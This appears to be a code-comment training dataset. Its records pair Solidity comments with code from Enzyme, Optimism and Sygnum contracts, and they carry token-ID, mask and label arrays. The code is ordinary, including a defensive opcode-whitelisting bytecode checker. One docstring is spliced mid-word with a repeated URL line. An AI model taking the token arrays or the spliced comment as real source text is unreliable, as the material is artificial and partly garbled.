<[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IBeacon interface /// @author Enzyme Council <[email protected]> interface IBeacon { function getCanonicalLib() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ import "./IBeacon.sol"; pragma solidity 0.6.12; /// @title IBeaconProxyFactory interface /// @author Enzyme Council <[email protected]> interface IBeaconProxyFactory is IBeacon { function deployProxy(bytes memory _constructData) external returns (address proxy_); function setCanonicalLib(address _canonicalLib) external; }
@dev Helper function to deploy a configured ComptrollerProxy _denominationAsset is validated by ComptrollerLib.init()
function __deployComptrollerProxy( address _canonicalSender, address _denominationAsset, uint256 _sharesActionTimelock ) private returns (address comptrollerProxy_) { bytes memory constructData = abi.encodeWithSelector( IComptroller.init.selector, _denominationAsset, _sharesActionTimelock ); comptrollerProxy_ = address(new ComptrollerProxy(constructData, getComptrollerLib())); emit ComptrollerProxyDeployed( _canonicalSender, comptrollerProxy_, _denominationAsset, _sharesActionTimelock ); return comptrollerProxy_; }
355,333
[ 1, 2276, 445, 358, 7286, 279, 4351, 1286, 337, 1539, 3886, 389, 13002, 362, 1735, 6672, 353, 10266, 635, 1286, 337, 1539, 5664, 18, 2738, 1435, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1001, 12411, 799, 337, 1539, 3886, 12, 203, 3639, 1758, 389, 18288, 12021, 16, 203, 3639, 1758, 389, 13002, 362, 1735, 6672, 16, 203, 3639, 2254, 5034, 389, 30720, 1803, 10178, 292, 975, 203, 565, 262, 3238, 1135, 261, 2867, 532, 337, 1539, 3886, 67, 13, 288, 203, 203, 3639, 1731, 3778, 4872, 751, 273, 24126, 18, 3015, 1190, 4320, 12, 203, 5411, 467, 799, 337, 1539, 18, 2738, 18, 9663, 16, 203, 5411, 389, 13002, 362, 1735, 6672, 16, 203, 5411, 389, 30720, 1803, 10178, 292, 975, 203, 3639, 11272, 203, 3639, 532, 337, 1539, 3886, 67, 273, 1758, 12, 2704, 1286, 337, 1539, 3886, 12, 10062, 751, 16, 336, 799, 337, 1539, 5664, 1435, 10019, 203, 203, 3639, 3626, 1286, 337, 1539, 3886, 31954, 12, 203, 5411, 389, 18288, 12021, 16, 203, 5411, 532, 337, 1539, 3886, 67, 16, 203, 5411, 389, 13002, 362, 1735, 6672, 16, 203, 5411, 389, 30720, 1803, 10178, 292, 975, 203, 3639, 11272, 203, 203, 3639, 327, 532, 337, 1539, 3886, 67, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; pragma experimental ABIEncoderV2; /* Contract Imports */ import { ExecutionManager } from "./ExecutionManager.sol"; /* Library Imports */ import { ContractResolver } from "../utils/resolvers/ContractResolver.sol"; /** * @title SafetyChecker * @notice Safety Checker contract used to check whether or not bytecode is * safe, meaning: * 1. It uses only whitelisted opcodes. * 2. All CALLs are to the Execution Manager and have no value. */ contract SafetyChecker is ContractResolver { /* * Contract Variables */ uint256 public opcodeWhitelistMask; /* * Constructor */ /** * @param _addressResolver Address of the AddressResolver contract. * @param _opcodeWhitelistMask Whitelist mask of allowed opcodes. */ constructor( address _addressResolver, uint256 _opcodeWhitelistMask ) public ContractResolver(_addressResolver) { opcodeWhitelistMask = _opcodeWhitelistMask; } /* * Public Functions */ /** * Returns whether or not all of the provided bytecode is safe. * @dev More info on creation vs. runtime bytecode: * https://medium.com/authereum/bytecode-and-init-code-and-runtime-code-oh-my-7bcd89065904. * @param _bytecode The bytecode to safety check. This can be either * creation bytecode (aka initcode) or runtime bytecode * (aka cont * More info on creation vs. runtime bytecode: * https://medium.com/authereum/bytecode-and-init-code-and-runtime-code-oh-my-7bcd89065904ract code). * @return `true` if the bytecode is safe, `false` otherwise. */ function isBytecodeSafe( bytes memory _bytecode ) public view returns (bool) { bool seenJUMP = false; bool insideUnreachableCode = false; uint256[] memory ops = new uint256[](_bytecode.length); uint256 opIndex = 0; for (uint256 pc = 0; pc < _bytecode.length; pc++) { // current opcode: 0x00...0xff uint256 op = uint8(_bytecode[pc]); // PUSH## if (op >= 0x60 && op <= 0x7f) { // subsequent bytes are not opcodes. Skip them. pc += (op - 0x5f); } // If we're in between a STOP or REVERT or JUMP and a JUMPDEST if (insideUnreachableCode) { // JUMPDEST if (op == 0x5b) { // this bytecode is now reachable via JUMP or JUMPI insideUnreachableCode = false; } } else { // check that opcode is whitelisted (using the whitelist bit mask) uint256 opBit = 2 ** op; if (opcodeWhitelistMask & opBit != opBit) { // encountered a non-whitelisted opcode! return false; } // append this opcode to a list of ops ops[opIndex] = op; // JUMPI if (op == 0x57) { // We can now reach all JUMPDESTs seenJUMP = true; // JUMP } else if (op == 0x56) { // We can now reach all JUMPDESTs seenJUMP = true; // we are now inside unreachable code until we hit a JUMPDEST! insideUnreachableCode = true; // STOP or REVERT or INVALID or RETURN (see safety checker docs in wiki for more info) } else if (op == 0x00 || op == 0xfd || op == 0xfe || op == 0xf3) { // If we can't jump to JUMPDESTs, then all remaining bytecode is unreachable if (!seenJUMP) { return true; } // We are now inside unreachable code until we hit a JUMPDEST! insideUnreachableCode = true; // CALL } else if (op == 0xf1) { // Minimum 4 total ops: // 1. PUSH1 value // 2. PUSH20 execution manager address // 3. PUSH or DUP gas // 4. CALL if (opIndex < 3) { return false; } uint256 gasOp = ops[opIndex - 1]; uint256 addressOp = ops[opIndex - 2]; uint256 valueOp = ops[opIndex - 3]; if ( gasOp < 0x60 || // PUSHes are 0x60...0x7f gasOp > 0x8f || // DUPs are 0x80...0x8f addressOp != 0x73 || // address must be set with a PUSH20 valueOp != 0x60 // value must be set with a PUSH1 ) { return false; } else { uint256 pushedBytes; // gas is set with a PUSH## if (gasOp >= 0x60 && gasOp <= 0x7f) { pushedBytes = gasOp - 0x5f; } // 23 is from 1 + PUSH20 + 20 bytes of address + PUSH or DUP gas byte callValue = _bytecode[pc - (23 + pushedBytes)]; // 21 is from 1 + 19 bytes of address + PUSH or DUP gas address callAddress = toAddress(_bytecode, (pc - (21 + pushedBytes))); // CALL is made to the execution manager with msg.value of 0 ETH if (callAddress != address(resolveExecutionManager()) || callValue != 0 ) { return false; } } } opIndex++; } } return true; } /* * Internal Functions */ /** * Converts the 20 bytes at _start of _bytes into an address. * @param _bytes The bytes to extract the address from. * @param _start The start index from which to extract the address from * (e.g. 0 if _bytes starts with the address). * @return Bytes converted to an address. */ function toAddress( bytes memory _bytes, uint256 _start ) internal pure returns (address addr) { require(_bytes.length >= (_start + 20), "Addresses must be at least 20 bytes"); assembly { addr := mload(add(add(_bytes, 20), _start)) } } /* * Contract Resolution */ function resolveExecutionManager() internal view returns (ExecutionManager) { return ExecutionManager(resolveContract("ExecutionManager")); } }
23 is from 1 + PUSH20 + 20 bytes of address + PUSH or DUP gas
byte callValue = _bytecode[pc - (23 + pushedBytes)];
2,471,847
[ 1, 4366, 353, 628, 404, 397, 28591, 3462, 397, 4200, 1731, 434, 1758, 397, 28591, 578, 24559, 16189, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 13491, 1160, 745, 620, 273, 389, 1637, 16651, 63, 2436, 300, 261, 4366, 397, 18543, 2160, 13, 15533, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/ISygnumToken.sol /** * @title ISygnumToken * @notice Interface for custom functionality. */ pragma solidity 0.5.12; contract ISygnumToken is IERC20 { function block(address _account, uint256 _amount) external; function unblock(address _account, uint256 _amount) external; } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: openzeppelin-solidity/contracts/math/Math.sol pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @sygnum/solidity-base-contracts/contracts/role/interface/ITraderOperators.sol /** * @title ITraderOperators * @notice Interface for TraderOperators contract */ pragma solidity 0.5.12; contract ITraderOperators { function isTrader(address _account) external view returns (bool); function addTrader(address _account) external; function removeTrader(address _account) external; } // File: @sygnum/solidity-base-contracts/contracts/role/interface/IBaseOperators.sol /** * @title IBaseOperators * @notice Interface for BaseOperators contract */ pragma solidity 0.5.12; interface IBaseOperators { function isOperator(address _account) external view returns (bool); function isAdmin(address _account) external view returns (bool); function isSystem(address _account) external view returns (bool); function isRelay(address _account) external view returns (bool); function isMultisig(address _contract) external view returns (bool); function confirmFor(address _address) external; function addOperator(address _account) external; function removeOperator(address _account) external; function addAdmin(address _account) external; function removeAdmin(address _account) external; function addSystem(address _account) external; function removeSystem(address _account) external; function addRelay(address _account) external; function removeRelay(address _account) external; function addOperatorAndAdmin(address _account) external; function removeOperatorAndAdmin(address _account) external; } // File: @sygnum/solidity-base-contracts/contracts/helpers/Initializable.sol pragma solidity 0.5.12; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Initializable: Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. uint256 cs; assembly { cs := extcodesize(address) } return cs == 0; } function isInitialized() public view returns (bool) { return initialized; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @sygnum/solidity-base-contracts/contracts/role/base/Operatorable.sol /** * @title Operatorable * @author Connor Howe <[email protected]> * @dev Operatorable contract stores the BaseOperators contract address, and modifiers for * contracts. */ pragma solidity 0.5.12; contract Operatorable is Initializable { IBaseOperators internal operatorsInst; address private operatorsPending; event OperatorsContractChanged(address indexed caller, address indexed operatorsAddress); event OperatorsContractPending(address indexed caller, address indexed operatorsAddress); /** * @dev Reverts if sender does not have operator role associated. */ modifier onlyOperator() { require(isOperator(msg.sender), "Operatorable: caller does not have the operator role"); _; } /** * @dev Reverts if sender does not have admin role associated. */ modifier onlyAdmin() { require(isAdmin(msg.sender), "Operatorable: caller does not have the admin role"); _; } /** * @dev Reverts if sender does not have system role associated. */ modifier onlySystem() { require(isSystem(msg.sender), "Operatorable: caller does not have the system role"); _; } /** * @dev Reverts if sender does not have multisig privileges. */ modifier onlyMultisig() { require(isMultisig(msg.sender), "Operatorable: caller does not have multisig role"); _; } /** * @dev Reverts if sender does not have admin or system role associated. */ modifier onlyAdminOrSystem() { require(isAdminOrSystem(msg.sender), "Operatorable: caller does not have the admin role nor system"); _; } /** * @dev Reverts if sender does not have operator or system role associated. */ modifier onlyOperatorOrSystem() { require(isOperatorOrSystem(msg.sender), "Operatorable: caller does not have the operator role nor system"); _; } /** * @dev Reverts if sender does not have the relay role associated. */ modifier onlyRelay() { require(isRelay(msg.sender), "Operatorable: caller does not have relay role associated"); _; } /** * @dev Reverts if sender does not have relay or operator role associated. */ modifier onlyOperatorOrRelay() { require(isOperator(msg.sender) || isRelay(msg.sender), "Operatorable: caller does not have the operator role nor relay"); _; } /** * @dev Reverts if sender does not have relay or admin role associated. */ modifier onlyAdminOrRelay() { require(isAdmin(msg.sender) || isRelay(msg.sender), "Operatorable: caller does not have the admin role nor relay"); _; } /** * @dev Reverts if sender does not have the operator, or system, or relay role associated. */ modifier onlyOperatorOrSystemOrRelay() { require(isOperator(msg.sender) || isSystem(msg.sender) || isRelay(msg.sender), "Operatorable: caller does not have the operator role nor system nor relay"); _; } /** * @dev Initialization instead of constructor, called once. The setOperatorsContract function can be called only by Admin role with * confirmation through the operators contract. * @param _baseOperators BaseOperators contract address. */ function initialize(address _baseOperators) public initializer { _setOperatorsContract(_baseOperators); } /** * @dev Set the new the address of Operators contract, should be confirmed from operators contract by calling confirmFor(addr) * where addr is the address of current contract instance. This is done to prevent the case when the new contract address is * broken and control of the contract can be lost in such case * @param _baseOperators BaseOperators contract address. */ function setOperatorsContract(address _baseOperators) public onlyAdmin { require(_baseOperators != address(0), "Operatorable: address of new operators contract can not be zero"); operatorsPending = _baseOperators; emit OperatorsContractPending(msg.sender, _baseOperators); } /** * @dev The function should be called from new operators contract by admin to insure that operatorsPending address * is the real contract address. */ function confirmOperatorsContract() public { require(operatorsPending != address(0), "Operatorable: address of new operators contract can not be zero"); require(msg.sender == operatorsPending, "Operatorable: should be called from new operators contract"); _setOperatorsContract(operatorsPending); } /** * @return The address of the BaseOperators contract. */ function getOperatorsContract() public view returns(address) { return address(operatorsInst); } /** * @return The pending address of the BaseOperators contract. */ function getOperatorsPending() public view returns(address) { return operatorsPending; } /** * @return If '_account' has operator privileges. */ function isOperator(address _account) public view returns (bool) { return operatorsInst.isOperator(_account); } /** * @return If '_account' has admin privileges. */ function isAdmin(address _account) public view returns (bool) { return operatorsInst.isAdmin(_account); } /** * @return If '_account' has system privileges. */ function isSystem(address _account) public view returns (bool) { return operatorsInst.isSystem(_account); } /** * @return If '_account' has relay privileges. */ function isRelay(address _account) public view returns (bool) { return operatorsInst.isRelay(_account); } /** * @return If '_contract' has multisig privileges. */ function isMultisig(address _contract) public view returns (bool) { return operatorsInst.isMultisig(_contract); } /** * @return If '_account' has admin or system privileges. */ function isAdminOrSystem(address _account) public view returns (bool) { return (operatorsInst.isAdmin(_account) || operatorsInst.isSystem(_account)); } /** * @return If '_account' has operator or system privileges. */ function isOperatorOrSystem(address _account) public view returns (bool) { return (operatorsInst.isOperator(_account) || operatorsInst.isSystem(_account)); } /** INTERNAL FUNCTIONS */ function _setOperatorsContract(address _baseOperators) internal { require(_baseOperators != address(0), "Operatorable: address of new operators contract cannot be zero"); operatorsInst = IBaseOperators(_baseOperators); emit OperatorsContractChanged(msg.sender, _baseOperators); } } // File: @sygnum/solidity-base-contracts/contracts/role/trader/TraderOperatorable.sol /** * @title TraderOperatorable * @author Connor Howe <[email protected]> * @dev TraderOperatorable contract stores TraderOperators contract address, and modifiers for * contracts. */ pragma solidity 0.5.12; contract TraderOperatorable is Operatorable { ITraderOperators internal traderOperatorsInst; address private traderOperatorsPending; event TraderOperatorsContractChanged(address indexed caller, address indexed traderOperatorsAddress); event TraderOperatorsContractPending(address indexed caller, address indexed traderOperatorsAddress); /** * @dev Reverts if sender does not have the trader role associated. */ modifier onlyTrader() { require(isTrader(msg.sender), "TraderOperatorable: caller is not trader"); _; } /** * @dev Reverts if sender does not have the operator or trader role associated. */ modifier onlyOperatorOrTraderOrSystem() { require(isOperator(msg.sender) || isTrader(msg.sender) || isSystem(msg.sender), "TraderOperatorable: caller is not trader or operator or system"); _; } /** * @dev Initialization instead of constructor, called once. The setTradersOperatorsContract function can be called only by Admin role with * confirmation through the operators contract. * @param _baseOperators BaseOperators contract address. * @param _traderOperators TraderOperators contract address. */ function initialize(address _baseOperators, address _traderOperators) public initializer { super.initialize(_baseOperators); _setTraderOperatorsContract(_traderOperators); } /** * @dev Set the new the address of Operators contract, should be confirmed from operators contract by calling confirmFor(addr) * where addr is the address of current contract instance. This is done to prevent the case when the new contract address is * broken and control of the contract can be lost in such case * @param _traderOperators TradeOperators contract address. */ function setTraderOperatorsContract(address _traderOperators) public onlyAdmin { require(_traderOperators != address(0), "TraderOperatorable: address of new traderOperators contract can not be zero"); traderOperatorsPending = _traderOperators; emit TraderOperatorsContractPending(msg.sender, _traderOperators); } /** * @dev The function should be called from new operators contract by admin to insure that traderOperatorsPending address * is the real contract address. */ function confirmTraderOperatorsContract() public { require(traderOperatorsPending != address(0), "TraderOperatorable: address of pending traderOperators contract can not be zero"); require(msg.sender == traderOperatorsPending, "TraderOperatorable: should be called from new traderOperators contract"); _setTraderOperatorsContract(traderOperatorsPending); } /** * @return The address of the TraderOperators contract. */ function getTraderOperatorsContract() public view returns(address) { return address(traderOperatorsInst); } /** * @return The pending TraderOperators contract address */ function getTraderOperatorsPending() public view returns(address) { return traderOperatorsPending; } /** * @return If '_account' has trader privileges. */ function isTrader(address _account) public view returns (bool) { return traderOperatorsInst.isTrader(_account); } /** INTERNAL FUNCTIONS */ function _setTraderOperatorsContract(address _traderOperators) internal { require(_traderOperators != address(0), "TraderOperatorable: address of new traderOperators contract can not be zero"); traderOperatorsInst = ITraderOperators(_traderOperators); emit TraderOperatorsContractChanged(msg.sender, _traderOperators); } } // File: @sygnum/solidity-base-contracts/contracts/helpers/Pausable.sol /** * @title Pausable * @author Connor Howe <[email protected]> * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account in the TraderOperatorable * contract. */ pragma solidity 0.5.12; contract Pausable is TraderOperatorable { event Paused(address indexed account); event Unpaused(address indexed account); bool internal _paused; constructor () internal { _paused = false; } /** * @dev Reverts if contract is paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Reverts if contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by operator to pause child contract. The contract * must not already be paused. */ function pause() public onlyOperatorOrTraderOrSystem whenNotPaused { _paused = true; emit Paused(msg.sender); } /** @dev Called by operator to pause child contract. The contract * must already be paused. */ function unpause() public onlyOperatorOrTraderOrSystem whenPaused { _paused = false; emit Unpaused(msg.sender); } /** * @return If child contract is already paused or not. */ function isPaused() public view returns(bool){ return _paused; } /** * @return If child contract is not paused. */ function isNotPaused() public view returns(bool){ return !_paused; } } // File: @sygnum/solidity-base-contracts/contracts/libraries/Bytes32Set.sol pragma solidity 0.5.12; // SPDX-License-Identifier: Unlicensed // https://github.com/rob-Hitchens/SetTypes/blob/master/contracts/Bytes32Set.sol library Bytes32Set { struct Set { mapping(bytes32 => uint) keyPointers; bytes32[] keyList; } /** * @notice insert a key. * @dev duplicate keys are not permitted. * @param self storage pointer to a Set. * @param key value to insert. */ function insert(Set storage self, bytes32 key) internal { require(!exists(self, key), "Bytes32Set: key already exists in the set."); self.keyPointers[key] = self.keyList.length; self.keyList.push(key); } /** * @notice remove a key. * @dev key to remove must exist. * @param self storage pointer to a Set. * @param key value to remove. */ function remove(Set storage self, bytes32 key) internal { require(exists(self, key), "Bytes32Set: key does not exist in the set."); uint last = count(self) - 1; uint rowToReplace = self.keyPointers[key]; if(rowToReplace != last) { bytes32 keyToMove = self.keyList[last]; self.keyPointers[keyToMove] = rowToReplace; self.keyList[rowToReplace] = keyToMove; } delete self.keyPointers[key]; self.keyList.pop(); } /** * @notice count the keys. * @param self storage pointer to a Set. */ function count(Set storage self) internal view returns(uint) { return(self.keyList.length); } /** * @notice check if a key is in the Set. * @param self storage pointer to a Set. * @param key value to 